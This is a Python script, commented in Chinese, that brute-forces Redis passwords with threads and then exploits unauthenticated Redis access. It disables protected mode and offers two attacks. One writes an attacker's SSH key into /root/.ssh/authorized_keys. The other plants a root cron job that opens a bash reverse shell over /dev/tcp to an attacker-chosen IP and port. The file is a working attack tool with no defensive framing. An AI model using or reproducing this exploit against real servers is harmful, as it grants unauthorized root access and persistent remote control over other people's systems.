import threading
import redis
import threading

def scan_redis(host="127.0.0.1", port=6379, password="", timeout=5):
    try:
        redis_client = redis.Redis(
            host=host,
            port=port,
            password=password,
            db=10,
            socket_timeout=3,
            socket_connect_timeout=timeout
        )
        if redis_client.ping():
            print(f"[+] {host}:{port} 存在Redis弱口令 -> {password}")
            # 判断是否存在未授权访问漏洞
            if redis_client.config_set("dir", "/tmp") and redis_client.config_get("dir")["dir"] == "/tmp":
                # 关闭安全模式
                redis_client.config_set("protected-mode", "no")
                print(f"[+] {host}:{port} 可能存在Redis未授权访问漏洞")
                print("1. 公私钥未授权访问")
                print("2. 定时任务反弹")
                option = input("请选择漏洞利用方式:\n")
                if option == "1":
                    redis_client.config_set("dir", "/root/.ssh")
                    redis_client.config_set("dbfilename", "authorized_keys")
                    key_text = input("请输入公钥:\n")
                    # 保存公钥 注意空天空地
                    redis_client.set("key", f"\\n\\n\n\n\n\n{key_text}\n\n\n\n\\n\\n")
                    if redis_client.save():
                        print("[+] 公私钥未授权访问漏洞利用成功")
                elif option == "2":
                    reverse_ip = input("请输入反弹IP:\n")
                    reverse_port = input("请输入反弹端口:\n")
                    # 保存反弹 注意空天空地
                    redis_client.config_set("dir", "/var/spool/cron")
                    redis_client.config_set("dbfilename", "root")
                    redis_client.set("cron", f"\\n\\n\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/{reverse_ip}/{reverse_port} 0>&1\n\n\n\n\\n\\n")
                    if redis_client.save():
                        print("[+] 定时任务反弹未授权访问漏洞利用成功")
            redis_client.close()
    except:
        pass
def redis_run(host, port, passwds):
    threads = []
    # 读取密码字典
    for passwd in passwds:
        # 弱口令扫描 注意需要去除空白符
        t = threading.Thread(target=scan_redis, args=(host, port, passwd.strip()))
        t.start()
        threads.append(t)
    for t in threads:
        t.join()